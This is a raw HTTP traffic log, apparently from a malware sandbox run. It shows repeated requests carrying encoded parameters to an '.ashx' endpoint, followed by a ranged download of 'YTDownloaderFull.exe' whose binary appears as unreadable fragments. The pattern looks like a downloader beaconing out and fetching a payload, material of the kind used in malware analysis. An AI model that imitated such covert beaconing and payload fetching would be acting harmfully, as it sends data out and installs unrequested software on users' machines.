User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:05 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=Ka qOJkckoUPgAd18hbyroe/DZ3xPHxA/Dn8i7qp5mB38psj3UbutFu0ICSu0QOYghmiZJc6KBe9Kbi6m4oCRkVBJlHJH559U9nEPtF49OL3MAtTDgnXRf9XPbJELwvM20qHT6WNWM4V 9m YgK2IDr0zJ2LyWbSX4l9XCm/Va/VnFVL/bsGoNCUHeR8YCF3F6w7/9M3cyHLaPsNuIhxx0d1GAfvnAkXxNB9hPvytbqj4mEVVTCsv8oowH443v5LVMzzGZXi flruyvHL/XTRfTbXnzkx FKHdtdgGHkZrI4k4Gm5vvSsp4s5/HgdM5Z6tDSAan05KEz1rNbtpMjdA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:07 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=Ka qOJkckoUPgAd18hbyroe/DZ3xPHxA/Dn8i7qp5mB38psj3UbutFu0ICSu0QOYghmiZJc6KBe9Kbi6m4oCRkVBJlHJH559U9nEPtF49OL3MAtTDgnXRf9XPbJELwvM20qHT6WNWM4V 9m YgK2IDr0zJ2LyWbSX4l9XCm/Va/SiuwmdYQ9dwenF3E77x/HKYX3Ti/i3YP dzgnUBx9/Wjc3bWflJqtv R58jhZDUtjXd2V1E82PvDVXG8fnVsUkXiRAgddMCaMVoLWI3pNMYIaukc1i7BWldmt6Vgk8tSuaFT9xqmWN6c2C4KGeMVjRwPcBPt3bTGsKYzKwx9v9P8/aLGgmbDczlRzySDKbWw= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:07 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=KC46TpkJIZzYLhsRuGeUaX3SlO 4zhiGbxgZgsE2ALEgzQKqaxF9u3FNjBbFgb1YQRjjVcEy0WTW/eZlYKTDPljMf o5tZn074r1XQZFERIJ5AJXlBzFu09k8ckggnu0s IILilpWF3Y9uT/0042UzB0eIArPecdjZpz1sPcxp1I3nypnKAJJwSlVcxDMMid7CGwBqpnIsMss0xdmNFlbg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:07 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=wlkQ3WKgYpSpmK8l4EEkn33SlO 4zhiGLnnSr9Cu5YcgzQKqaxF9u3FNjBbFgb1YQRjjVcEy0WTW/eZlYKTDPljMf o5tZn01qg9mP3gfJPos7AQZC HbNXZPFjv wv7jgb6v7cXpPsCR1eJJaqZuTEmVd5boNaQ9RM9cvdqwuWTNOkbAfXQQbYcDgYC7zhTHdtdgGHkZrI4k4Gm5vvSsp4s5/HgdM5Z6tDSAan05KHCUgWPbo8zyy5MYXZwv0Sa2 GUfuos17apw1GQ93goy8ou0ipnPyAcboqKFmkaACc= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:08 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/suEsglF M iT UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3VAezdf3aKUfa HuGTRyAEFAL52sIXt4Ua8Zp/ 13YC175vqqyfEnMnylXnslTRg848241y0s0/3gUxyF5wkLuxNB9hPvytbqj4mEVVTCsv8oowH443v5LVMzzGZXi flruyvHL/XTRfTbXnzkx FKHdtdgGHkZrI4k4Gm5vvSsp4s5/HgdM5Z6tDSAan05KEz1rNbtpMjdA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:08 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/suEsglF M iT UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3VAezdf3aKUVDwWd9hvLDxFAL52sIXt4XVoJPRVPVAkz3ZLnbsoZ9zX6ABQ4xl C6XAmRABUbmSYRA5W RLpwIoLj8WN7CI8VJWpTUhdoetbAQhJgQ701LudQlG124a8hFOTAwlw8YF1v33d9RaFUzoljRljRrcaIOBw5KhNaYaQ== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:08 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /5518.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/suEsglF M iT UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3VAezdf3aKUTz0zfD6NQ4eEwAaRG2pHiUPesst1ukiDgCtEn0QpjuXhJ1Bh5YeUQcklpIg/vGiFhQGw7w7bWmjz7d9KaLD84/d0InrHGn4CTEJJ99zQJTqVYgO0yHAHEsYAqi 8bJ4kL0puLqbigJGRUEmUckfnn1T2cQ 0Xj04vcwC1MOCddFTkg3eP0fa/4= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1)
Host: kxsui3-mzxspesu.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 02 Sep 2015 23:21:08 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....



GET /YTDownloaderFull.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:09 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 0-249999/7202427
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:10 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 500000-749999/7202427
.,H...J.V..h.e..b,..T....D..Y..J...|[email protected]..@.!.eJC......
.2[..Pf...n..Q..$(c..U..d....h.[#....Iz.......?P.7x,[email protected]......
..I."..3.... A.1! .H.l...m.{....O.k[l.....6.........2..... ..80N...4..
.....T....7.sg.).....".vn...L.}`QR)..... .:b..........t.Y..'.rI.......
..B}...#...._u....i.l|...Y./:_.M..\.V...../8.....a..........*.n...<
.N........-......;....."z......C...*%,..r_.k.....M..p"...d..(E_.i..m5U
I.8...ra.c`...............`....~....^.I.......... :d4..e~G......._X).w
..ASW.....P.........A..R.f....j....JF.G..0L.I_..f.hV{C...k..>....g.
F.E....O..P...=.v.....r.DH.......=.6T...Q..........<5.!...V?....T..
v.........H.fj#.^t.y..%.T|. .................g`d...}>.nxr"..A..u...
!u.....o....Z.....E.^.).!7.........Us.......Q...r.|.......Ky.r.?..2k..
fAzP..;u. Z.C....\.*._Y9.eV..$...V.T...!.=.C&.....xKPY.uX.... p...~...
...k..c..U.....q.&1=[.c4xy_....Td...8..kQU.{.............I..&[X.F./.t.
.m..I...Pl..-.{1..B?..G......".W../.V,.....jVZh.5.m.....3mUjg!`......~
A..g..y..nU......c...e...>.p.8..........?...!{2.*.G....[wjuV,.f.g`.
..U.vhT_...C......LQ.W}.. [email protected]_..}.i2.y}
..L. x..[.T...Wq.._.9.$.X.......=........#......'[...(VMEb.Pl.c&>..
.7OS9..mO.3.....}sj?........G.m.e1.\..\..E.....N.,.b.C.Y..)..bw".....S
......../...t,.;.......3...6..R.e~..AC..W]....Ev...K,.K....3~~ul4..T.7
....f.kEQ...Of#.~.wB#.....5.m..f......Mt..9.y.X.{p.t..l....nSd...U....
B...RP.e....b..H.m..W.....-v..Gh...7.3.`...G.v........o...3.$\`w..)...
........g..i....se...Y;.K......./.}..;.R.Io'T..C.<m"l0..A......
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=1000000-1249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:10 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 1000000-1249999/7202427
,.[._d..q....i.....*....}K..*W......ZR.............x.v..[.....PGB.!..e
'..^.r..3O.m.3....e...S.....N.61.R..c.x.\:..c Vt...q.......H..n....#|.
.....Uq..-.......j..V......|..k.q...^....M)...G..ZDX.....&.#.e.:..tO.!
..m`...ID.....`p...........m.........T0./....%_....8..h.....St:.....\.
..$.5:..>..5......W.T...........tN...3.>......0...?.....f.y.x.Jo
..``..(....i....".....(|.q...R..f.......nM.n.1._(.6;.N]....K...}....t.
]n...Pq~_...&....Y^..pP.rf.'....MU5g,a.....:.JeU.0M.........} ...Y.@..
...|D..*/t.~]....I{|M.N7Z.un..........6.8..=..J.X1.<x7Q..}?eV.-.\D.
7...F.3.|.D.....e.;.UpJ"..h._...[..En.2....Y.k%B....aQ..Y.NPT.yB."....
.4....S......j..|....5 ....[.g..<.<...k...H...\..~..........5...
z...-....H..A...>.&.....L."c.n[.....3i...L.7.8H....M]..X.:.....Y...
...C.f..m..!?.E.^H..}.#~E;.RUa.}9.8.Jc....M]h.;....T...C..S.'8,....(..
.<.o.......1!...>[email protected]..&<...; ....J...r..U...N.M......
s.!(.........q"!(2G......../>e.D_v...wZpdi....DH.....(....p..|....G
6OW. .O6.<..l'.b.W4x.g...LE.6....Z....m.3.j...'....P..j.4~u|.......
9...V.)..g...#..4..*e......_.....l...W.&(..4...-c.NW.......Ih'eF..;.,.
..L.0k...>k..%.|Q...x..-708........2..D$...P..p.7.Ug.7......&8...3.
.2..A1....DW)AO.|..Y..$....).y.WIPA.?......\ ..../.o....=.^...k..f0...
.4...........ei:^..E..z..Cy.?yss..~(..[ss*...t.\.^....hS......b....N.'
=id..c.{...6..._L..u........y...<.795........._n...o..".. .........
.~.e...:....3......H...kq#_.v....j....`M..}c7....$.z._.....d.G`.r|.r~l
Q...F}B....<?b...`.W'D.[...N.4.J...5..;L....j.....$2..>.]]H.
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=1500000-1749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:10 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 1500000-1749999/7202427
....jo#.}dB......x3.H..8z.(.Xq..gY.6.)..3.p.[VF...o..4&...._..w@x{....
..v.m...`[email protected]=/..[8.......lcz.1.Ch....C2....#..Dp..J.l...[.....l.....
.......%j..h...Bz.?.$w.w...q.3S. .^..?T.......C.b...K60.. ........s ..
e..M.i....q........3............qiu..5j.~.u.#B.q [email protected].(_E....8
.^y....EaR*...qK...i.E.A...........h.e........C.....R.5h._.F.........-
.....;.*....*UW.-...>... .b.GB...~.r.w........;....'...<...Zq.2.
[email protected]=E.[.I.h........3.....<.....}......=kH.....
[email protected].$.c....P!..Zo..........."`x.-d......sneF..........nd..&
lt;..>.9..CS.4.....#Q..Ju:qE;..piT.p$...a.^..\.n5..........w.ER.*7.
e.........L....C..z.T.2<!..(.[..'...i.n..,..;?m.P8....J....'~;.Q.bs
....x..!"[email protected].>...~.Kf.%..P..=e.V.D..0z.
Vq..f.....a.....A....w-..E...FZ..../e.....q..K.....{[email protected]
.r..n..i......Pl.Lw;.! .Bf. ...5...cYX.........?..$.d.....k.g.,.R....@
Oji.\.SNb........(P.I..R.9..Z9*..y..hV>JD...u'.!....w.A..-\./. k..W
.;..........o\K..4.):..KM...{}>...G...F.<s. ..Zr...4.X..~=..*...
.........mcp.m.(w.B3.C[...yy%..(.<8..z.....2WZ...:K..a...[n]....yNd
......r...z.O. 7y....UB.Wn.Q.......B.4:.}.\a.D..LB.S2$./ ...S....?`y..
.z.@$,...x..#...i....7.."!...-..;z...........hu..sgI...f..pJJ3.M.-..q.
.'..;..r.(W...O;.^.5...I..I.V.p.D`...|7...n..Bl.s.q........A..XB..5..y
......K.H.u.W..*.:.>...i.-.2r.c.....8..bMNa..'..R.H6..C....|.G.%...
.....L.p"...Otv:.....c..Gf.>...N9.JL.l:..*)p.......Gb.'..h.F.....T.
.[....<W.J.....'.y.K.Q....'..T.l.^..Q......J...dI#.D."Z......(.
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=2000000-2249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:10 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 2000000-2249999/7202427
...-~..`.u.D.k...!&0Z...$....>,.._<Y.........B..H&...3. ...dT..?
.f7....\O....!.#a..K%......1...N..S.X9q<.rj....=l.[ >[email protected]
mX.ULk1.....J.Q8upG.b.......\F..T.}....z...R......O.A.R...DPw.&.S=KK..
[email protected]?4-.^.C.v..7j..9..ze,.C/?>...............r..
..VU....l8.....4q..(R3...,...Y.JT........xr..W.X...*......(.........R.
L.W.:..y..#K_\.H.....jU.\?.x4..2..1..G.e*.........:.e!...\.Y.....6..EB
...43..&..k..0.....N...s"...HQ<..}...}.......j..............!.1 .;~
..JY.......V...>.;\..d.C$^.D.[.Awc..;..Y.../.................DW...$
.o9..M..U7...^..G.%.oI.h%....}.[.(....".....7>.........C{`E..A.k..r
G......r~{.......2!.......X......a...._*...e].Vh.L..k.`...K...g.3%O..7
.U<.7....@l. .{H.....p.f/`2$\){.ur.ud....^...I..b.c.B].._..s.......
UW.|...3.....d4.N..NJ{60....'.......&......3.........~!...-z.,f1eI....
[email protected]. ..C.F...._.j.h. -...j,..=P...?.x....
~...K.u...............~...,.6...=u;....{.!.0.....KR.U.\....b..........
..x...~8.k/.n.F|[email protected]@.o..?^.56.q#.N.d.H&j.E.aj..r.,..q....'.#.*......
Z6.........1g...:V.........~..)B&r....N..8.?J/.0J.|.<....J.2.!.!..!
.k..^I.._...[U....W..Qk....S....T.6\.O............8...`.......e..g.e..
....}..&.s..9.. ..|I'Kr"v.$....W..k...S...lY..w-g.Z........&......'<
;FE..>.]i......&].r..... ..`..{...-T.....v.......4..........h.v....
....=.t..)0L%.A........b.~."Q.y'.".p.....=.v..Bl.......%......?...}TP&
lt;._H..Z.o.u.C...S.m...#.%[email protected].\<o...B......;
u.L......A.-.L..?./.f...n......>..M....A.F..d..6<aS.. .l...&
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=2500000-2749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:10 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 2500000-2749999/7202427
 .T...#..|7.7..{Yc,......U.....0(.j.k7>q.`@..>o..V_..L....pD.V..
...2....\........rs....1-..'_.....?..~..3w?5U!..g.xJ.c..`e....<.9.{
....`.C:|.....".]..........v?.[....V....@. .....e.....3 .j>p.x@....
".Y$...^[email protected].....<2..W1.........-...ZC....'cS.m.?`#.ANQ...(6...{.
.=....t.......m.3t.:.q..&..7..3y.[.R ...O.%....(..C..$.{....G..f..F...
ZH..= L....*......._Z>..K......... A..)[email protected]^..[(
&.'.,.FX[&$...n.....&..P..../B....H.....<./...Yo.!.H...^m.]...[....
}T....0..v.'.fG......|Xh..7%X...D....m.KZN-..%.D......*$...E...?7c....
@...]8.]U..b.b.)v.....S..n.. o.4..%*.q.....v.{..Qi...C..T.....^.\.... 
......R3......5l._.....-e.1f.e.9d.3..H..e2.ycX.W.Yml.)...`3..=r;....$.
3.|p..;b..R)..5>....I.\,.V?....fS.ax..,.v..H3u.t..&..}u..c..4$@B...
........FB.p.D..N.`56;^...........}\o...`........._|..B..q8.x.9. 1...%
.*.]..U.....U.jl..........L..,....).....\........cQi..pu....6y......qJ
P.....K.......z......i.z|!....4.I.$.. .j..p....$.u..?..k.3..=...).....
...tD.U.Y|..q..e.....#WI*w..z..>4].O'..rL.m......e`....K.^..2.1....
.2mc.....#!..z=....)?d.....]l......G"..w0_g......s.W.?.l....-.a....3..
..T......p.&i."..KUl...0L..9.h.j(ypH"....j.....j..*S.imh......T..i.;..
w2.n...m(w.t.T.....$.....gzH9......../i....v... ......p?.....!I9T.;.c.
...0.U.[p0.........z?...9."....a mt!.......B.....c..Q..E.....|M.kD8.zT
.......-.\j.....'Vy...9_.8l..D...ey........A.....u...v&....p.....,.n.#
i.(....^.\.e..!@a...$..t.....B....)FT.m....{Su..!_.*0hW.Z.q..IFH...iS.
a..as..A.-O.q....|H..QU.t;........n..e}......0.....;.........Mx.B.
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=3000000-3249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:11 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 3000000-3249999/7202427
wu..e.i....B.....)...`[email protected]._....I... .-*o|.,O.:n..}X2.GX..u..$#9-
....".F.....Q=.].I<b.Y..lg....Kc.....N|-........X...m#.T..,.....@..
...?....3/_.Y.E..&.[.j|p..k.<lG...o....ZJ.... .8..%`l3?..q.n.....?.
7n.....t.>..N...u.>.m{;.... .....L..`|@.(8>.._.9..x..>M7.r
....m......f.fX.. .'..?.R3.Nq....h[../.....&....1M.....T..x....E......
{..xx.....e79.o...........8!.A......U%c..........[.....7(P)...l.&.M'.a
>......nm).Xs9...l...U....1...."..<..w.l?..O_={l..../.;Gt...`c.^
t...Ib.]..oS`.A....g.'.vG......s...L..y-e....9,.r....Oi....X..UXa..C.F
Y.6E...jr;...Lq...uSv..Y,../z....wn..v.\...9<...J..1.8.v[ ..Q....ta
.K.....&.M..........!@1..=....N.)0:...|[email protected].'3'...
.Y"..<.8...../X6...G73q..;..u.....a....1...."...t....1..Qr..18.....
X`..B......LX...p\.D..c..|5.P..;.........L.rj.}H..8.......Q..<.^r=.
.z..)l.=.g.....<g..v...v:...e..n U.....g..X..`..t....4.L.d*.......h
u0..4J%D....X.........8.m`3]Z.7.......i.R..\.i|.H...q.7..X..R...V"'w..
....%!.&...v.i.:.........m.....?.Q...x.....c....f."|>...s7{.....w..
*.N..c.W..f....a...D...s\..b.h....F..Z..r.w.N...........UoC.....e3...p
.......p.v.T0/......B7p.....z(b'..-J.....|..iTFeU.p=...J.".....B...g.v
.....WPk?Z.z.....j..~.~.S..>_s8.r...m...|....L..2.e....':.`.)e.R...
.w.",6.N..8......1....B.....@.}..;.~Rhzn..0....s.........)Ek..z.0t5...
..#...H_."`r,U..b.w../Ta.......6.x-...7.{.E..B..zR...`.@`P........>
...`........x`8..v?Z.....&.X. |.<@...]........|....Z..e...g.X....0.
^.......!.f.r.....[".C.....A.H .R..0.3..KT.S.<...NGu..9Ku..L..Z
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=3500000-3749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:11 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 3500000-3749999/7202427
/.m.:g..Gm.....'w....n...xjl`y..(7ku..U....2s44........A..0...../s...A
O....j..o.....og..PpFR.....K.4.[Sox(....F3xd.K.E.k<.B.;.u...@>..
... )o.>.Ll.D.....G3eJ..g.1Q.6nR.....ol.8....z..{....\..{..j(...6jg
....].4...A....F...-fp.ZF!1Z..0.`..9.\.....Xm.4._..(......e78.....Q._.
...:).........s....-..LH..4)P."c.>nD.........G......6.!KY...... ...
......?Y;f......{H}i%3.......*.H.....bt\..9!._..u...|:..r*......g8%...
,a.q.f.6B..:.l..S....bH...[...!. .w....?.EW.j6...n...T......g.....zs.3
)BK.....B4.v L..."[email protected].[....f..#...y.2...Ns.]..g.d6l.....Q
.S...t.m....oF.......6.=.v..B.....y..<.y..#P.G..o...~.M.#.X.z......
_0../.......b#lw.D....$......%W..Bu...Ml.t....9.....V..$.$...7.o.{.J..
9.U.....U..ts..3...C_c.h..{....J..W.D.` J....k..zi.>. WD........Q.Z
.UVsTPW[..W..#[email protected])W.nB-...N.........,........D.
....=.|.c.?.hOf=..)1..mg.)....I..T...ul...........B........m../....rjl
.E..(..D..K.....U\F..h......=7.\!..^..f....3!......;......I..o..ES....
..*..|..[...=lV..7Z.q'.\X...K.\3..6,....7.~....U..c...U./........:...w
."......O.Ua..(..w....]O..&84BIx1..9(...x...f.{....pS%1.._.J>.I.:.:
.L..Bk1.PxU...%..l.!.R.&.m4v.zH.5....\./.g......{..(Ib...)N........;R.
W.;.f...F/....`...Fr.;......X.z ...fu...:.JKbt......K`0...H:..Y....O.a
..?.O..U[.U:..~9.........S............X:......d...S.}X....UGD..H h..f.
.....!J...IEaI.h..... ...M..jH........9.n.=.V......t...=...D...t.....O
.l.,..d....].u`...8... I...[.......8.g.!b..j..y...X....Kp.tA.9..c&6.B.
..v......,.N0....iz...`.O......0..p.Jg.....'......'...}..k.j`...^.
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=4000000-4249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:11 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 4000000-4249999/7202427
........0.....3.y..N..L!PRkp...b|........g...6.a.<Y.*.k.cg7.vd..g.f
$..7...i..l.......j.q......B$...m...B.ur...(\\&...._..I.}i^.....0.5...
........h....;SR......)...%..T.oB..:...".(z.....R.......#......x.Ok-..
...!.<4...o..<.0-(.-R..........s...c.".U.s....X..*N..1.....z.Ar.
.R3.L..}v.6.8.<...W)..s.....O....Z..F"AT.p.d*.........{[email protected].[.#..
hS%...C.....y6...te.%.j.........Nkw..n.2.v...r.O..{..J..D....YFM..."..
